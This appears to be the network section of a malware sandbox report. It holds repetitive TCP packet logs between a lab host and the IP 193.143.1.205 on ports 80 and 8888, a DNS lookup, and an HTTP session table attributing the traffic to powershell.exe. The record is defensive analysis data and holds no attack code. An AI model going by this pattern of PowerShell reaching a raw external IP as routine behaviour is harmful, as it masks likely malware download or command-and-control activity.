Jan 11, 2025 01:39:59.268213034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268224001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268234968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268244982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268249035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268260002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268265963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268310070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268378973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268505096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268522024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268532991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268543959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268554926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268556118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268560886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268565893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268572092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268582106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268589020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268616915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268707991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268755913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268784046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268796921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268807888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268817902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268831015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268832922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268855095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268861055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268872023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268882990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268888950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268894911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268907070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268913984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.268915892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.268940926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.290060043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299200058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299230099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299240112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299252987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299263000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299276114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299287081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299335957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299343109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299369097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299396038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299407005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299417019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299427032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299446106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299453974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299782991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299793959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299799919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299835920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299841881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299851894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299861908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299864054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299875021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299889088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299935102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.299945116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299983978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.299994946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300029993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300030947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300069094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300095081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300107002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300151110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300164938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300184965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300196886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300209045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300239086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300261021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300285101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300296068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300307035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300316095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300334930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300363064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300415993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300452948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300463915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300478935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300488949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300503016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300528049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.300627947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300672054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.300673962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301635027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301667929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301678896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301685095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301707029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301718950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301718950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301733971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301759005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301759005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301800013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301800966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301892996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301903963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301914930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.301934958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.301954985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302081108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302092075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302103043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302113056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302119970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302129030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302129984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302151918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302175999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302232981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302243948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302253962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302265882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302293062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302315950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.302578926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302598953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.302637100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.330087900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330117941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330130100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330143929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330154896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330167055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.330198050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.330257893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.355957985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.355978966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.355990887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356034994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356046915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356062889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356087923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356112003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356117010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356117010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356125116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356178045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356199980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356211901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356224060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356235027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356249094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356262922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356270075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356301069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356342077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356353045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356410027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356447935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356457949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356488943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356499910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356528044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356576920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356587887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356600046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356611013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356614113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356642962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356697083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356708050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356719017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356730938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356739998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356770992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356820107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356831074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356847048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356858015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356862068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356869936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356878996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356883049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356898069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356905937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356908083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356920004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.356934071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356972933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.356988907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357000113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357011080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357021093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357027054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357039928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.357055902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.357537985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357549906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357559919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357573032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357578993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.357584000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357594967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.357599020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357610941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.357620001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.357667923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.387862921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387897968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387919903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387933016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387952089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387965918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387975931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.387995005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388008118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388021946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388034105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388046026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388057947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388071060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388124943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388125896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388386965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388483047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388493061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388504982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388516903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388529062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388530016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388541937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388554096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388560057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388577938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388596058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388756990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388797998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388809919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388839006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388855934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388865948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388876915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388889074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.388897896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.388926029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389084101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389103889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389116049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389128923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389138937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389141083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389152050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389158010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389164925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389175892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389188051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389199018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389205933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389205933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389209986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389220953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389229059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389233112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.389257908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.389283895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390286922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390369892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390382051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390394926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390402079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390414000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390433073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390465975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390475988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390494108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390505075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390515089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390516043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390527010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390542030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390544891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390552998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390556097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390566111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.390578032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.390605927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.391181946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391195059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391206026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391217947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391247034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.391264915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.391273022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391299963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391310930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391335964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.391339064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.391375065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.429977894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.444571972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.444593906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.444689989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.557667017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.729620934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:40:00.088820934 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:40:00.093725920 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 11, 2025 01:40:00.093854904 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:40:00.094120979 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:40:00.098954916 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 11, 2025 01:40:00.896183968 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 11, 2025 01:40:00.941667080 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:40:02.747216940 CET	49717	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:40:08.764585972 CET	53764	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:40:08.764585972 CET	192.168.2.6	1.1.1.1	0x1096	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:40:08.773031950 CET	1.1.1.1	192.168.2.6	0x1096	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:40:09.543919086 CET	1.1.1.1	192.168.2.6	0xd16a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:40:09.543919086 CET	1.1.1.1	192.168.2.6	0xd16a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	1056	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
